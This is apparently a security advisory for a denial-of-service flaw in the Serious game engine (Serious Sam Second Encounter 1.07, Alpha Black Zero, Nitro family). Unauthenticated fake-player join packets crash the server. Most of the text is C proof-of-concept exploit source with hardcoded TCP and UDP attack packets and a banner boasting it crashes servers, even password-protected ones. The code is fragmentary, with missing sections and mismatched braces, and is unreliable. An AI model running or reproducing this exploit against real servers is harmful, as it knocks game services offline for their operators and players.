Vulnerable Systems:
* Alpha Black Zero
* Nitro family
* Serious Sam Second Encounter 1.07, possibly prior
Note: The game engine is vulnerable on all supported platforms: Windows, Linux and Mac.
Game servers that are using UDP as the communications protocol for managing games can be brought down by supplying a continuously long stream of packets to the server, each representing the joining of a new player.
The server does not limit the amount of possible players and will crash if a sufficiently large number of (fake) players join. As stated above, only one packet is required in order for a player to be constituted as part of the server. In addition, triggering a denial of service in this way does not require any special authentication, e.g: knowing the password for password protected games. This vulnerability is more general and broader in scope.
#define VER "0.3"
#define BUFFSZ 2048
#define PORT 25600
#define TIMEOUT 3
#define WAITSEC 5
#define MAX 32
void check_tcp_fakes(int *sd, int num, u_char *buff, int buffsz);
void gs_info_udp(u_long ip, u_short port);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
int sd[MAX],
len,
i,
wait,
on = 1;
u_short port = PORT;
u_char *buff,
stcp[] =
"\x1F\x00\x00\x00\x40\xE1\xDE\x03\xFB\xCA\x2A\xBC\x83\x01\x00\x00"
"\x07\x47\x41\x54\x56\x10\x27\x00\x00\x05\x00\x00\x00\x00\x00\x01"
"\x00\x00\x00\x01\x00\x00\x00\xA0\x0F\x00\x00\x64\x00\x00\x00",
sudp[] =
"\x2E\x00\x00\x00\x00\x00\x2F\x2F\x01\x00\x00\x00\x41";
setbuf(stdout, NULL);
fputs("\n"
"Serious engine Fake Players DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <type> <server> [port(%u)]\n"
"\n"
"Types:\n"
" 0 = TCP: Serious Sam (FE and SE) <= 1.05 and Carnivores: Cityscape\n"
" 1 = UDP: Alpha Black Zero, Nitro family, Serious Sam Second Encounter 1.07\n"
" Causes the crash of the server!!!\n"
"\n"
" Note: if the server is protected by password you can attack it without to\n"
" to know the keyword\n"
"\n", argv[0], port);
exit(1);
}
if(*buff != 0x02) fputs(" wrong reply, but I try to continue the attack", stdout);
}
fputs("\n"
"- server full\n"
"- check for disconnections:\n", stdout);
check_tcp_fakes(sd, --i, buff, BUFFSZ);
fputs("- one or more players have been disconnected\n", stdout);
for(; i >= 0; i--) close(sd[i]);
}